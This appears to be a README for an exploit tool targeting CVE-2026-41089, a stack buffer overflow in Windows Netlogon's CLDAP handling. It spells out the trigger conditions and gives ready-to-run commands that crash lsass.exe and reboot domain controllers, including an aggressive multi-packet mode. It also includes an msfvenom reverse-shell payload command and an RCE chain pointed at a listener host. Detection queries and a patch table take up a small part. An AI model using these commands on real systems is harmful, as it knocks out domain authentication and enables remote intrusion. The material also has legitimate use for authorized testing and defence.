hnytgl/cve-2026-41089CVE-2026-41089 是 Windows Netlogon 服务中一个关键的远程代码执行漏洞，单包即可崩溃 lsass.exe，导致域控制器在约 30-60 秒内重启。此期间该 DC 的所有域认证将失败。
CVE-ID: CVE-2026-41089
CVSS: 9.8 (Critical)
CWE: CWE-121 (Stack-based Buffer Overflow)
Attack Vector: UDP/389 (CLDAP SearchRequest)
Impact: Remote Code Execution (RCE) / Denial of Service (DoS)
Affected Versions: Windows Server 2012 R2 ~ 2025 (Domain Controllers)
Patch: May 2026 Cumulative Update
The NetpLogonPutUnicodeString function in netlogon.dll contains a stack buffer overflow vulnerability when processing CLDAP search requests. This function receives a byte-length budget but interprets it as a WCHAR count, resulting in writing 2 times the expected amount.
The overflow occurs in a 528-byte (264 ushort) fixed stack buffer within the NlGetLocalPingResponse function. The attacker-controlled User field, combined with the server's own DNS domain name, fills this buffer, eventually overwriting the GS Security Cookie, leading to and crash.
__report_gsfailurelsass.exeNtVer=0x02 (forcing the old, vulnerable BuildSamLogonResponse code path)User field length is ≥ ~130 characters (binary upper limit approximately 260 bytes UTF-16)Note:
NtVer=0x16(the value used by many public detection scripts) triggers the safeBuildSamLogonResponseExcode path, which does not trigger the vulnerability.
| Mode | Description |
|---|---|
--mode dos | Sends a crafted CLDAP packet causing LSASS to crash, rebooting the DC (~60 seconds of authentication downtime) |
--mode rce | Attempts remote code execution (research-level, requires shellcode) |
--mode scan | Scans responses for different NtVer values, fingerprinting the target DC |
--mode auto | Automatically detects and selects the best attack strategy |
A single packet crashes lsass.exe, causing the Domain Controller to restart within approximately 30-60 seconds. During this time, all domain authentication through that DC will fail.
# Basic usage — send 3 packets
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# Single-packet fast attack
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# Aggressive mode — 5 concurrent packets
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ Research-level — unreliable and unstable in real environments.
RCE faces the following challenges:
# Generate shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# Send RCE chain
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# Fingerprint the target DC
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
Expected output example (patched target):
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Expected output example (unpatched target):
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
If NtVer=0x02 times out while other versions respond normally, the target is likely vulnerable.
| Parameter | Description | Default |
|---|---|---|
-l, --user-len | Username field length (ASCII characters) | 180 |
--ntver | NtVer value (hexadecimal, e.g. 0x02) | 0x02 |
--count | Number of DoS packets to send | 3 |
--delay | Delay between packets (seconds) | 0.5 |
-t, --timeout | Socket timeout (seconds) | 5.0 |
--json | Output results in JSON format | — |
--raw | Print raw packet hex before sending | — |
--quiet | Suppress banner output | — |
--shellcode-file | Custom shellcode file (raw x64) | — |
--lhost | Reverse shell listener address | — |
--lport | Reverse shell listener port | 4444 |
# 在 Windows Server（未修补）上创建长域名 DC：
# 1. 提升为域控 (DNS 域名很长的域名，例如 "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. 确认已安装 2026 年 5 月之前的补丁
# 3. 从攻击机运行：
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. 观察 DC 崩溃和重启
User > 100 bytes and NtVer = 0x02Event ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
| Windows Server Version | Patch Version | Notes |
|---|---|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |
This tool is intended for authorized security assessments, penetration testing, CTF competitions, and defensive research only. Use of this tool against any system without explicit written permission is illegal. Users bear all legal responsibility.